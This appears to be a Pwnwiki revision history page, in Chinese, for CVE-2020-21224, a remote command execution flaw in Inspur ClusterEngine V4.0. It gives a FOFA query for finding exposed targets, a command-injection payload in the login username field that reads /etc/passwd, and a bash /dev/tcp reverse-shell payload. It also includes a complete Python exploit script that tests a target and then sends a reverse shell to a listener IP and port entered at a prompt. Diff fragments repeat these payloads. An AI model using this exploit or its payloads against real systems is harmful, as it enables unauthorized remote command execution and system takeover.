Pwnwiki: Created page with "==参考=="

2021-06-09T06:29:07Z

Created page with "==参考=="

Pwnwiki: Created page with "==漏洞影响=="

2021-06-09T06:28:52Z

Created page with "==漏洞影响=="

New page

<languages />
==漏洞影响==

浪潮ClusterEngineV4.0

==FOFA==
<pre>
title="TSCEV4.0"
</pre>

==POC==
<div lang="chinese" dir="ltr" class="mw-content-ltr">
出現 root:x:0:0 則存在漏洞
</div>
<pre>
op=login&username=test`$(cat /etc/passwd)`

{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"}
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==反彈shell==
</div>
<pre>
op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`
</pre>

==EXP==
<pre>
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 浪潮ClusterEngineV4.0 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mIP >>> xxx.xxx.xxx.xxx:9999 \033[0m')
print('+ \033[36mPORT >>> 9999 \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
vuln_url = target_url + "/login"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
}
data = "op=login&username=test`$(cat /etc/passwd)`"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=4)
etc_passwd = re.findall(r'\{"err":"/bin/sh: (.*?): No such', response.text)
if response.status_code == 200 and "root:x:0:0" in response.text:
print("\033[32m[o] 目标 {} 可能存在漏洞, 响应为:{} \033[0m".format(target_url, etc_passwd[0]))
POC_2(target_url)
else:
print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

def POC_2(target_url):
IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
vuln_url = target_url + "/login"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
}
data = "op=login&username=`bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`".format(IP, PORT)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False)
except Exception as e:
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)

</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==參考==
</div>
https://short.pwnwiki.org/?c=aLBsJw

@@ Line 11: / Line 11: @@
 ==POC==
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+出现 root:x:0:0 则存在漏洞
 <pre>
 op=login&username=test`$(cat /etc/passwd)`
@@ Line 20: / Line 18: @@
 </pre>
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+==反弹shell==
 <pre>
 op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`
@@ Line 90: / Line 86: @@
 </pre>
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+==参考==
 https://short.pwnwiki.org/?c=aLBsJw

CVE-2020-21224 浪潮ClusterEngineV4.0 遠程命令執行漏洞/zh-cn - Revision history

Pwnwiki: Created page with "==参考=="

Pwnwiki: Created page with "==漏洞影响=="